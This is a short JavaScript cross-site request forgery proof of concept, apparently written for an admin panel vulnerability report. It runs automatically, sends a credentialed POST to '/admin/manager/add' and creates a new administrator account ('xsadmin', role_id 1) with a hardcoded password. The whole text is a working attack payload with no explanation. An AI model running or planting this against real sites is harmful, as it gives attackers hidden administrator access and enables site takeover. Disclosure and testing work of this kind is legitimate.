function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/admin/manager/add", true);
        xhr.setRequestHeader("accept", "application\/json, text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("content-type", "application\/x-www-form-urlencoded; charset=UTF-8");
        xhr.setRequestHeader("accept-language", "zh-CN,zh;q=0.9,en;q=0.8");
        xhr.withCredentials = true;
        var body = "username=xsadmin&password=qq123456&role_id=1&id=";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();